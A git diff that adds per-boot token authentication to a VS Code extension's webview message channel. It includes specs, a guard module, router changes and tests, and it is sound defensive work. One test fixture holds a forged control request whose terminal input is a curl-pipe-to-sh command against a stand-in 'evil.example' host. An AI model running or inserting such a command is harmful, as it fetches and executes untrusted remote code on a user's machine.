diff --git a/docs/specs/transport.md b/docs/specs/transport.md index 542ca5d6..3ce58583 100644 --- a/docs/specs/transport.md +++ b/docs/specs/transport.md @@ -91,6 +91,8 @@ Source of truth: Non-obvious message contracts: +**Sender authenticity is the adapter's job, not the protocol's.** The schema below says what a message means, never that it came from the host. Each adapter must establish that on its own transport before dispatching: the Tauri and browser-dev adapters inherit it from a private IPC channel and a host-owned socket, while the VS Code adapter shares its `window` inbox with framed surfaces and so requires a per-boot token on every host message (`docs/specs/vscode.md` → "Webview message authentication"). An adapter whose transport is reachable by page content must authenticate before it branches on `type`. + VS Code-only workbench chord mirroring uses `dormouse:runWorkbenchCommand` from webview to host. The host validates the requested command against the allowlist in `lib/src/lib/vscode-keybindings.ts` (see [the VS Code host spec](vscode.md)) before calling `vscode.commands.executeCommand`; generic command execution over the webview boundary is not allowed. Workspace union status (`docs/specs/alert.md`) adds no new message. Standalone computes it in-webview — the app bar's workspace strip and the Walls share one webview, so the strip reads the activity store and browser-surface state directly. VS Code computes only the host-visible native-chrome projection from the module-level `AlertManager` filtered to each router's `ownedPtyIds`, then writes it onto native chrome; the host already receives every PTY's alert state, but it does not receive browser-surface TODO (the webview→host Surface-state message is staged — see `docs/specs/vscode.md` `## Future`). diff --git a/docs/specs/vscode.md b/docs/specs/vscode.md index 9eb753f7..0d493ba2 100644 --- a/docs/specs/vscode.md +++ b/docs/specs/vscode.md @@ -21,7 +21,8 @@ Extension Host (vscode-ext/src/) ├── shell-selection.ts — persisted shell picker (workspace/global selectedShellPath) ├── agent-browser-host.ts — extension-host wiring + stream relay for the agent-browser surface ├── iframe-proxy-host.ts — VS Code binding for the iframe transparent proxy (injects the logger) -├── webview-html.ts — CSP injection, nonce generation, asset URI rewriting +├── webview-html.ts — CSP injection, nonce + message-token generation, asset URI rewriting +├── webview-messaging.ts — serveWebview: pairs a document with its message token, returns the WebviewChannel └── log.ts — extension logging Shared PTY Core (standalone/sidecar/) @@ -57,6 +58,7 @@ Frontend Library (lib/src/) ├── session-types.ts — PersistedSession/PersistedPane/PersistedAlertState types ├── resume-patterns.ts — detect resumable commands from scrollback ├── resolve-pane-element.ts — resolve a pane element to its Lath leaf (overlay measurement) + ├── vscode-message-token.ts — host-message token constants + the `isHostMessage` guard └── platform/ ├── types.ts — PlatformAdapter interface ├── index.ts — adapter factory (auto-detects VS Code vs fake) @@ -75,6 +77,7 @@ Universal PTY/transport invariants live in `docs/specs/transport.md`. The rules - **mergeAlertStates on every save path.** Both the frontend periodic save (`onSaveState` callback) and the backend deactivate refresh (`refreshSavedSessionStateFromPtys`) must merge current alert states. Missing this causes alert state to revert on restore. - **retainContextWhenHidden.** Set on both `WebviewPanel` (editor tabs) and `WebviewView` (bottom panel) so that xterm.js DOM, scrollback, and PTY subscriptions survive panel hide/show without going through a resume. - **Two save sources.** Session state is saved from two places: the frontend (debounced 500ms + 30s interval via `dormouse:saveState`) and the backend (deactivate flushes webviews then refreshes from live PTYs). Both paths must produce consistent state. +- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Everything downstream of `serveWebview` holds a `WebviewChannel` rather than a `vscode.Webview`, so bypassing the stamp is a type error there rather than a convention to remember; only the two serve sites (`setupPanel`, `resolveWebviewView`) still hold a raw webview. Adding a `message` listener that skips `isHostMessage` reopens the forgery hole either way. See "Webview message authentication" below. - **Workbench keybindings mirror for selected chords.** `lib/src/lib/vscode-keybindings.ts` is the source of truth for the VS Code-hosted mirror allowlist. For `Ctrl/Cmd+P`, `Ctrl/Cmd+Shift+P`, `Ctrl/Cmd+B`, and `F1`, xterm still processes the key while the webview also posts `dormouse:runWorkbenchCommand`; `message-router.ts` validates that request against the same small command set before calling `vscode.commands.executeCommand`. ### Extension manifest (current) @@ -199,10 +202,31 @@ TUIs query the terminal's foreground/background/cursor colors with `OSC 10/11/12 ### CSP policy -Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives (`getNonce()` + the directive list). +Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives (`randomSecret()` + the directive list). `unsafe-inline` for styles is needed because VS Code injects theme CSS variables via inline styles on the body element. Scripts remain nonce-gated, with a fresh per-render nonce of 24 CSPRNG bytes (`node:crypto` `randomBytes`) base64url-encoded to 32 characters — a nonce that is guessable is a nonce that is not there, so `Math.random()` is not acceptable here. The webview HTML is built by Vite from the `lib` package, then at runtime `webview-html.ts` rewrites asset URLs to webview URIs, injects the CSP meta tag, applies nonces to all script tags, and injects initial state via a nonce-gated inline script. +### Webview message authentication + +The CSP governs what the webview document may *load*. It says nothing about who may *message* it — and in VS Code the webview's `window` is a shared inbox. The extension host posts to it, and so can any framed surface (`dor iframe`, agent-browser; `docs/specs/dor-browser.md`) via `parent.postMessage`, which crosses origin and sandbox boundaries by design. Several inbound message types are consequential: `dor:controlRequest` becomes a `dormouse:control-request` event that `use-dor-control.ts` can turn into a `writePty` call, and the `pty:*` family drives what the user sees in a terminal. `event.data.type` is attacker-chosen, so it cannot be the thing that decides trust. + +So host-originated messages are authenticated by a **per-boot message token**: + +- `getWebviewHtml` mints one token per webview document — 24 CSPRNG bytes, base64url, from the same `randomSecret()` as the CSP nonce — injects it as `globalThis.__DORMOUSE_MESSAGE_TOKEN__` in the same nonce-gated inline script that seeds the other `__DORMOUSE_*` globals, and returns it alongside the HTML because the two are only meaningful together. +- `serveWebview` is the only way to put a document on a webview: it mints, assigns `webview.html`, and returns a `WebviewChannel` whose `post()` closes over that document's token. Minting and serving are therefore one step — a token cannot drift from the document carrying it, and re-serving yields a new token and a new channel. Nothing holds a token keyed by webview identity, so there is no cleanup. +- **Every** host → webview send goes through a channel. `attachRouter` takes a `WebviewChannel` (not a `vscode.Webview`) and exposes `post()` as a local; `DormouseViewProvider` stores its channel and `postMessage` forwards to it, returning `false` before the view is served or after it disposes — the same undelivered signal the VS Code API gives for a dead webview, which the `dormouse:newTerminal` retry loop and `forwardDorControlRequest`'s rejection path already handle. +- `VSCodeAdapter` captures the token **once, at construction**, and both of its `message` listeners — the main dispatcher and the per-request reply listener inside `requestResponse` — call `isHostMessage(event.data, token)` before reading anything else, including `type`. + +Why a token rather than checking `event.source`/`event.origin`: a source check would have to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases. A token depends on nothing but itself. It is deliberately **not** the CSP nonce — that nonce authorizes script execution, this token authenticates a message sender; conflating them makes both harder to reason about. Both live in the same injected markup and are equally readable by the top document; neither is reachable from a cross-origin frame. + +The guard fails closed in both directions: a webview served without the global accepts nothing, and a host send without a token delivers nothing. Framed content cannot read the parent's globals cross-origin, so it cannot produce the token. + +This is the same shape as the origin check the Wall already applies to messages from proxied iframes (`isProxyOrigin` in `lib/src/lib/iframe-proxy-registry.ts`, used by `use-wall-keyboard.ts` and `IframePanel.tsx`) — a small module holding the trust criterion so each listener stays a one-line guard. Those two listeners validate their own senders and are unaffected by the token; the token covers only the adapter's host channel. + +Scope is VS Code. The standalone adapters receive the equivalent events over Tauri's `listen()` IPC and the dev harness's host WebSocket (`docs/specs/standalone.md`, `docs/specs/transport.md`), never `window.postMessage`, so they have no forgeable inbox to guard. + +Source of truth: `lib/src/lib/vscode-message-token.ts` (constants + `isHostMessage`), `vscode-ext/src/webview-messaging.ts` (`WebviewChannel` + `serveWebview`), `vscode-ext/src/webview-html.ts` (mint + injection), `lib/src/lib/platform/vscode-adapter.ts` (both guards). Tests: the `host message authentication` block in `lib/src/lib/platform/vscode-adapter.test.ts`. + ### Build and development Source of truth: diff --git a/lib/src/lib/platform/vscode-adapter.test.ts b/lib/src/lib/platform/vscode-adapter.test.ts index 6611c275..f457e333 100644 --- a/lib/src/lib/platform/vscode-adapter.test.ts +++ b/lib/src/lib/platform/vscode-adapter.test.ts @@ -27,8 +27,23 @@ import { collectTerminalSemanticEvents, TerminalProtocolParser, } from '../terminal-protocol'; +import { HOST_MESSAGE_TOKEN_FIELD, HOST_MESSAGE_TOKEN_GLOBAL } from '../vscode-message-token'; import { VSCodeAdapter } from './vscode-adapter'; +/** Stand-in for the per-boot token the extension host injects at webview boot. */ +const HOST_TOKEN = 'test-host-message-token'; + +/** + * Build the `message` event the extension host would post: the payload plus the + * token stamp `serveWebview`'s channel adds. Framed content can't read the + * token, so a forged message is just this without the stamp. + */ +function hostMessage(data: Record, token: unknown = HOST_TOKEN): MessageEvent { + return new MessageEvent('message', { + data: { ...data, [HOST_MESSAGE_TOKEN_FIELD]: token }, + }); +} + describe('VSCodeAdapter PTY exit handling', () => { let windowTarget: EventTarget; let postMessage: ReturnType; @@ -50,6 +65,9 @@ describe('VSCodeAdapter PTY exit handling', () => { } vi.stubGlobal('window', windowTarget); vi.stubGlobal('CustomEvent', TestCustomEvent); + // The adapter captures this at construction, so it must be stubbed before + // any `new VSCodeAdapter()` below. + vi.stubGlobal(HOST_MESSAGE_TOKEN_GLOBAL, HOST_TOKEN); vi.stubGlobal('acquireVsCodeApi', () => ({ postMessage, getState: vi.fn(), @@ -67,9 +85,7 @@ describe('VSCodeAdapter PTY exit handling', () => { const exits: Array<{ id: string; exitCode: number }> = []; adapter.onPtyExit((detail) => exits.push(detail)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'pty:exit', id: 'pane-1', exitCode: 7 }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 })); expect(exits).toEqual([{ id: 'pane-1', exitCode: 7 }]); expect(terminalStateStoreMocks.removeTerminalPaneState).not.toHaveBeenCalled(); @@ -151,9 +167,7 @@ describe('VSCodeAdapter PTY exit handling', () => { const snapshots: string[][] = []; adapter.onWatchedCommands((names) => snapshots.push(names)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'alert:watchedCommands', names: ['claude', 'npm'] }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'alert:watchedCommands', names: ['claude', 'npm'] })); expect(snapshots).toEqual([['claude', 'npm']]); }); @@ -163,12 +177,10 @@ describe('VSCodeAdapter PTY exit handling', () => { const replays: Array<{ id: string; data: string }> = []; adapter.onPtyReplay((detail) => replays.push(detail)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { - type: 'pty:replay', - id: 'pane-1', - data: 'hello\x1b]7;file://localhost/Users/me/project\x1b\\world', - }, + windowTarget.dispatchEvent(hostMessage({ + type: 'pty:replay', + id: 'pane-1', + data: 'hello\x1b]7;file://localhost/Users/me/project\x1b\\world', })); // Visible data is stripped of the OSC 7 sequence. @@ -192,9 +204,7 @@ describe('VSCodeAdapter PTY exit handling', () => { { type: 'promptStart' as const }, ]; - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'terminal:semanticEvents', id: 'pane-1', events }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'terminal:semanticEvents', id: 'pane-1', events })); void adapter; expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledTimes(1); @@ -223,7 +233,7 @@ describe('VSCodeAdapter PTY exit handling', () => { })); new VSCodeAdapter(); - windowTarget.dispatchEvent(new MessageEvent('message', { data: wirePayload })); + windowTarget.dispatchEvent(hostMessage(wirePayload)); expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledTimes(1); expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledWith('pane-1', hostEvents); @@ -236,15 +246,13 @@ describe('VSCodeAdapter PTY exit handling', () => { }); new VSCodeAdapter(); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { - type: 'dormouse:newTerminal', - shell: '/bin/zsh', - args: ['-l'], - name: 'zsh', - replaceUntouched: true, - announce: true, - }, + windowTarget.dispatchEvent(hostMessage({ + type: 'dormouse:newTerminal', + shell: '/bin/zsh', + args: ['-l'], + name: 'zsh', + replaceUntouched: true, + announce: true, })); expect(requests).toEqual([{ @@ -255,4 +263,117 @@ describe('VSCodeAdapter PTY exit handling', () => { announce: true, }]); }); + + // "Arrived as a message event" is not evidence the extension host sent it. + // See ../vscode-message-token.ts. + describe('host message authentication', () => { + /** What framed content can produce: the right shape, no token. */ + function forgedMessage(data: Record): MessageEvent { + return new MessageEvent('message', { data }); + } + + const controlRequest = { + type: 'dor:controlRequest', + requestId: 'forged-1', + surfaceId: 'pane-1', + method: 'surface.send', + params: { surface: 'pane-1', input: 'curl https://evil.example | sh\n' }, + }; + + it('ignores a control request that does not carry the host token', () => { + const dispatched: unknown[] = []; + windowTarget.addEventListener('dormouse:control-request', (event) => { + dispatched.push((event as CustomEvent).detail); + }); + + new VSCodeAdapter(); + windowTarget.dispatchEvent(forgedMessage(controlRequest)); + + // No control request reaches use-dor-control, so nothing becomes a PTY + // write, and nothing is echoed back to the host. + expect(dispatched).toEqual([]); + expect(postMessage).not.toHaveBeenCalled(); + }); + + it('processes the same control request when it carries the host token', () => { + const dispatched: Array<{ method: string; params: unknown }> = []; + windowTarget.addEventListener('dormouse:control-request', (event) => { + dispatched.push((event as CustomEvent).detail); + }); + + new VSCodeAdapter(); + windowTarget.dispatchEvent(hostMessage(controlRequest)); + + expect(dispatched).toHaveLength(1); + expect(dispatched[0]).toMatchObject({ + method: 'surface.send', + params: { surface: 'pane-1', input: 'curl https://evil.example | sh\n' }, + }); + }); + + it('ignores untokened pty traffic, so framed content cannot spoof terminal state', () => { + const adapter = new VSCodeAdapter(); + const data: unknown[] = []; + const replays: unknown[] = []; + const exits: unknown[] = []; + const lists: unknown[] = []; + adapter.onPtyData((detail) => data.push(detail)); + adapter.onPtyReplay((detail) => replays.push(detail)); + adapter.onPtyExit((detail) => exits.push(detail)); + adapter.onPtyList((detail) => lists.push(detail)); + + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:data', id: 'pane-1', data: 'fake' })); + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:replay', id: 'pane-1', data: 'fake' })); + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 0 })); + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:list', ptys: [] })); + windowTarget.dispatchEvent(forgedMessage({ + type: 'terminal:semanticEvents', id: 'pane-1', events: [{ type: 'promptStart' }], + })); + + expect(data).toEqual([]); + expect(replays).toEqual([]); + expect(exits).toEqual([]); + expect(lists).toEqual([]); + expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).not.toHaveBeenCalled(); + }); + + it('rejects a wrong token as firmly as a missing one', () => { + const adapter = new VSCodeAdapter(); + const exits: unknown[] = []; + adapter.onPtyExit((detail) => exits.push(detail)); + + windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 }, 'guessed')); + + expect(exits).toEqual([]); + }); + + it('guards request/response replies too, so a forged reply cannot beat the real one', async () => { + const adapter = new VSCodeAdapter(); + const pending = adapter.getCwd('pane-1'); + + const [request] = postMessage.mock.calls[0] as [{ requestId: string }]; + + // A forged reply matching type and requestId, racing ahead of the host's. + windowTarget.dispatchEvent(forgedMessage({ + type: 'pty:cwd', id: 'pane-1', cwd: '/attacker', requestId: request.requestId, + })); + windowTarget.dispatchEvent(hostMessage({ + type: 'pty:cwd', id: 'pane-1', cwd: '/real/project', requestId: request.requestId, + })); + + expect(await pending).toBe('/real/project'); + }); + + it('accepts nothing when the host injected no token', () => { + // A webview served without the global fails closed rather than open. + vi.stubGlobal(HOST_MESSAGE_TOKEN_GLOBAL, undefined); + const adapter = new VSCodeAdapter(); + const exits: unknown[] = []; + adapter.onPtyExit((detail) => exits.push(detail)); + + windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 })); + + expect(exits).toEqual([]); + }); + }); }); diff --git a/lib/src/lib/platform/vscode-adapter.ts b/lib/src/lib/platform/vscode-adapter.ts index df381c96..9858bc39 100644 --- a/lib/src/lib/platform/vscode-adapter.ts +++ b/lib/src/lib/platform/vscode-adapter.ts @@ -10,12 +10,17 @@ import { applyTerminalSemanticEventsByPtyId, } from '../terminal-state-store'; import { getTerminalTheme, onTerminalThemeChange } from '../terminal-theme'; +import { isHostMessage, readHostMessageToken } from '../vscode-message-token'; import type { DorControlResult } from 'dor/protocol'; import type { VSCodeWorkbenchCommand } from '../vscode-keybindings'; export class VSCodeAdapter implements PlatformAdapter { private vscode: ReturnType; private hostState: unknown = (globalThis as typeof globalThis & { __DORMOUSE_HOST_STATE__?: unknown }).__DORMOUSE_HOST_STATE__ ?? null; + // Captured once, at construction, from the global the extension host injects + // at webview boot — so a later same-document write can't move the goalposts. + // Every `message` listener below checks it before reading anything else. + private readonly hostMessageToken = readHostMessageToken(); private dataHandlers = new Set<(detail: { id: string; data: string }) => void>(); private exitHandlers = new Set<(detail: { id: string; exitCode: number }) => void>(); private listHandlers = new Set<(detail: { ptys: PtyInfo[] }) => void>(); @@ -59,8 +64,11 @@ export class VSCodeAdapter implements PlatformAdapter { onTerminalThemeChange(() => this.pushThemeColors()); window.addEventListener('message', (event: MessageEvent) => { + // Authenticate the sender before looking at `type` at all — see + // ../vscode-message-token.ts. + if (!isHostMessage(event.data, this.hostMessageToken)) return; const msg = event.data; - if (!msg || !msg.type) return; + if (!msg.type) return; if (msg.type === 'pty:data') { for (const handler of this.dataHandlers) { @@ -161,8 +169,12 @@ export class VSCodeAdapter implements PlatformAdapter { resolve(null); }, timeoutMs); const handler = (event: MessageEvent) => { + // Same guard as the main listener: a request/response reply carries + // host-supplied data (a proxy URL, scrollback, clipboard contents), and + // a forged one racing the real reply would win on first match. + if (!isHostMessage(event.data, this.hostMessageToken)) return; const msg = event.data; - if (msg?.type === responseType && msg.requestId === requestId) { + if (msg.type === responseType && msg.requestId === requestId) { clearTimeout(timeout); window.removeEventListener('message', handler); resolve(extract(msg)); diff --git a/lib/src/lib/vscode-message-token.ts b/lib/src/lib/vscode-message-token.ts new file mode 100644 index 00000000..3f072e12 --- /dev/null +++ b/lib/src/lib/vscode-message-token.ts @@ -0,0 +1,50 @@ +/** + * Authenticates extension-host → webview `postMessage` traffic in the VS Code + * host (`docs/specs/vscode.md` → "Webview message authentication"). + * + * A webview's `window` receives `message` events from two very different + * senders: the extension host (trusted — it owns the PTYs) and any framed + * content, which reaches the top document with `parent.postMessage(...)`. + * Cross-origin frames can post freely by design, so `event.data.type` alone + * says nothing about who sent it — and the adapter turns some of those types + * into PTY writes. + * + * So the host mints a fresh CSPRNG token per webview boot, injects it into the + * document through the same nonce-gated inline script that seeds the other + * `__DORMOUSE_*` globals, and stamps it on every message it posts. A frame + * cannot read the parent's globals across origins, so it cannot produce the + * token, and the adapter drops anything that doesn't carry it. + * + * The spec section above covers why a token rather than an `event.source` / + * `event.origin` check, and why this is not the CSP nonce. + */ + +/** Global the host injects the per-boot token into. */ +export const HOST_MESSAGE_TOKEN_GLOBAL = '__DORMOUSE_MESSAGE_TOKEN__'; + +/** Envelope field every host-originated message carries. */ +export const HOST_MESSAGE_TOKEN_FIELD = '__dormouseToken'; + +/** + * Read the injected token. Returns `null` when the global is absent or not a + * non-empty string, which makes {@link isHostMessage} reject everything — a + * webview served without a token fails closed rather than open. + */ +export function readHostMessageToken(): string | null { + const raw = (globalThis as unknown as Record)[HOST_MESSAGE_TOKEN_GLOBAL]; + return typeof raw === 'string' && raw.length > 0 ? raw : null; +} + +/** + * True when `data` is a message envelope stamped with `token`. + * + * A plain `===` is enough here: the token is compared against a value the + * sender chose, and neither branch reports anything back to a frame, so there + * is no oracle to time. Comparing against a string also rejects a coerced + * lookalike (an object with a `toString`) outright. + */ +export function isHostMessage(data: unknown, token: string | null): boolean { + if (!token) return false; + if (typeof data !== 'object' || data === null) return false; + return (data as Record)[HOST_MESSAGE_TOKEN_FIELD] === token; +} diff --git a/vscode-ext/src/extension.ts b/vscode-ext/src/extension.ts index 5782777c..91bcad2a 100644 --- a/vscode-ext/src/extension.ts +++ b/vscode-ext/src/extension.ts @@ -4,7 +4,7 @@ import * as ptyManager from './pty-manager'; import { DormouseViewProvider } from './webview-view-provider'; import { attachRouter, flushAllSessions, getAlertStates } from './message-router'; import { closePoppedOutSessions } from './agent-browser-host'; -import { getWebviewHtml } from './webview-html'; +import { serveWebview } from './webview-messaging'; import { log } from './log'; import { mergeAlertStates, refreshSavedSessionStateFromPtys } from './session-state'; import { readPersistedSession } from '../../lib/src/lib/session-types'; @@ -47,9 +47,9 @@ function setupPanel( light: vscode.Uri.file(path.join(context.extensionPath, 'icon-tiny-light.png')), dark: vscode.Uri.file(path.join(context.extensionPath, 'icon-tiny-dark.png')), }; - panel.webview.html = getWebviewHtml(panel.webview, mediaPath, initialState, getSelectedShell?.()); + const channel = serveWebview(panel.webview, mediaPath, initialState, getSelectedShell?.()); - const router = attachRouter(panel.webview, { + const router = attachRouter(channel, { reconnect: !!savedState, killOnDispose: true, savedSession: readPersistedSession(initialState), diff --git a/vscode-ext/src/message-router.ts b/vscode-ext/src/message-router.ts index 93033b38..39d16c39 100644 --- a/vscode-ext/src/message-router.ts +++ b/vscode-ext/src/message-router.ts @@ -22,6 +22,7 @@ import type { DorControlRequest } from './pty-manager'; import { createStreamRelayUrl, runAgentBrowserCommand, runAgentBrowserEdit, runAgentBrowserOpen, runAgentBrowserPopIn, runAgentBrowserPopOut, runAgentBrowserScreenshot, runAgentBrowserStreamStatus } from './agent-browser-host'; import { createIframeProxyUrl } from './iframe-proxy-host'; import { log } from './log'; +import type { WebviewChannel } from './webview-messaging'; const clipboardOps = require('../../lib/clipboard-ops.cjs') as { readClipboardFilePaths(): Promise; @@ -147,7 +148,7 @@ export async function flushAllSessions(timeoutMs = 1000): Promise { } export function attachRouter( - webview: vscode.Webview, + channel: WebviewChannel, options?: { reconnect?: boolean; killOnDispose?: boolean; @@ -163,6 +164,11 @@ export function attachRouter( const reconnect = options?.reconnect ?? false; const killOnDispose = options?.killOnDispose ?? false; + // The router's only send path — it stamps this webview's message token, which + // the webview requires (docs/specs/vscode.md → "Webview message + // authentication"). A raw `vscode.Webview` never reaches this scope. + const post = (message: ExtensionMessage): Thenable => channel.post(message); + // Track which PTY IDs were spawned (or reconnected) through this webview const ownedPtyIds = new Set(); const pendingFlushRequests = new Map void; timeout: ReturnType }>(); @@ -172,13 +178,13 @@ export function attachRouter( // Subscribed on dormouse:init, unsubscribed when webview content is gone. let disconnectWebview: (() => void) | null = null; const removeWatchedCommandListener = watchedCommandHost.subscribe((names) => { - void webview.postMessage({ + void post({ type: 'alert:watchedCommands', names, } satisfies ExtensionMessage); }); const removeAlertSettingsListener = alertSettingsHost.subscribe((settings) => { - void webview.postMessage({ + void post({ type: 'alert:settings', settings, } satisfies ExtensionMessage); @@ -236,7 +242,7 @@ export function attachRouter( timeout, }); - void webview.postMessage({ type: 'dormouse:flushSessionSave', requestId } satisfies ExtensionMessage); + void post({ type: 'dormouse:flushSessionSave', requestId } satisfies ExtensionMessage); }); } @@ -245,7 +251,7 @@ export function attachRouter( } function forwardDorControlRequest(request: DorControlRequest): void { - void webview.postMessage({ + void post({ type: 'dor:controlRequest', requestId: request.requestId, surfaceId: request.surfaceId, @@ -278,23 +284,23 @@ export function attachRouter( function connectWebview(): () => void { const removeProcessedListener = onProcessedPtyData((id, visibleData) => { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ type: 'pty:data', id, data: visibleData } satisfies ExtensionMessage); + post({ type: 'pty:data', id, data: visibleData } satisfies ExtensionMessage); }); const removeSemanticListener = onTerminalSemanticEvents((id, events) => { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ type: 'terminal:semanticEvents', id, events } satisfies ExtensionMessage); + post({ type: 'terminal:semanticEvents', id, events } satisfies ExtensionMessage); }); const removePtyCallbacks = ptyManager.addCallbacks({ onData() {}, onExit(id: string, exitCode: number) { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ type: 'pty:exit', id, exitCode } satisfies ExtensionMessage); + post({ type: 'pty:exit', id, exitCode } satisfies ExtensionMessage); }, }); const removeAlertListener = alertManager.onStateChange((id, state) => { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ + post({ type: 'alert:state', id, status: state.status, @@ -315,7 +321,7 @@ export function attachRouter( } // Route webview messages to the PTY manager - const messageDisposable = webview.onDidReceiveMessage((msg: WebviewMessage) => { + const messageDisposable = channel.onDidReceiveMessage((msg: WebviewMessage) => { switch (msg.type) { case 'pty:spawn': { claim(msg.id); @@ -340,16 +346,16 @@ export function attachRouter( break; case 'pty:getCwd': ptyManager.getCwd(msg.id).then((cwd) => { - webview.postMessage({ type: 'pty:cwd', id: msg.id, cwd, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'pty:cwd', id: msg.id, cwd, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'pty:getOpenPorts': ptyManager.getOpenPorts(msg.id).then((ports) => { - webview.postMessage({ type: 'pty:openPorts', id: msg.id, ports, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'pty:openPorts', id: msg.id, ports, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'pty:getScrollback': - webview.postMessage({ + post({ type: 'pty:scrollback', id: msg.id, data: ptyManager.getScrollback(msg.id), requestId: msg.requestId, @@ -357,29 +363,29 @@ export function attachRouter( break; case 'pty:getShells': ptyManager.getAvailableShells().then((shells) => { - webview.postMessage({ + post({ type: 'pty:shells', shells, requestId: msg.requestId, } satisfies ExtensionMessage); }); break; case 'clipboard:readFiles': clipboardOps.readClipboardFilePaths() - .then((paths) => webview.postMessage({ + .then((paths) => post({ type: 'clipboard:files', paths: paths.length ? paths : null, requestId: msg.requestId, } satisfies ExtensionMessage)) .catch((err) => { log.info(`[clipboard] readFiles failed: ${err?.message ?? err}`); - webview.postMessage({ type: 'clipboard:files', paths: null, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'clipboard:files', paths: null, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'clipboard:readImage': clipboardOps.readClipboardImageAsFilePath() - .then((path) => webview.postMessage({ + .then((path) => post({ type: 'clipboard:image', path, requestId: msg.requestId, } satisfies ExtensionMessage)) .catch((err) => { log.info(`[clipboard] readImage failed: ${err?.message ?? err}`); - webview.postMessage({ type: 'clipboard:image', path: null, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'clipboard:image', path: null, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'dormouse:openExternal': { @@ -404,7 +410,7 @@ export function attachRouter( Array.isArray(msg.args) ? msg.args : [], typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:commandResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -415,7 +421,7 @@ export function attachRouter( msg.op, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:editResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -426,7 +432,7 @@ export function attachRouter( { format: msg.format, quality: msg.quality }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:screenshotResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -436,7 +442,7 @@ export function attachRouter( msg.session, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:streamStatusResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -444,15 +450,15 @@ export function attachRouter( case 'agentBrowser:getStreamUrl': { const streamPort = Number.isInteger(msg.port) && msg.port > 0 && msg.port <= 65535 ? msg.port : null; if (!streamPort) { - webview.postMessage({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage); + post({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage); break; } createStreamRelayUrl(streamPort).then( - (url) => webview.postMessage({ + (url) => post({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url, } satisfies ExtensionMessage), - () => webview.postMessage({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage), + () => post({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage), ); break; } @@ -462,7 +468,7 @@ export function attachRouter( { headed: msg.headed === true }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ type: 'agentBrowser:openResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); + post({ type: 'agentBrowser:openResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); }); break; case 'agentBrowser:popOut': @@ -471,7 +477,7 @@ export function attachRouter( { url: typeof msg.url === 'string' ? msg.url : undefined, rect: msg.rect }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); + post({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); }); break; case 'agentBrowser:popIn': @@ -480,15 +486,15 @@ export function attachRouter( { url: typeof msg.url === 'string' ? msg.url : undefined }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); + post({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); }); break; case 'iframe:createProxyUrl': createIframeProxyUrl(typeof msg.url === 'string' ? msg.url : '').then( - (result) => webview.postMessage({ + (result) => post({ type: 'iframe:proxyUrl', requestId: msg.requestId, result, } satisfies ExtensionMessage), - (err) => webview.postMessage({ + (err) => 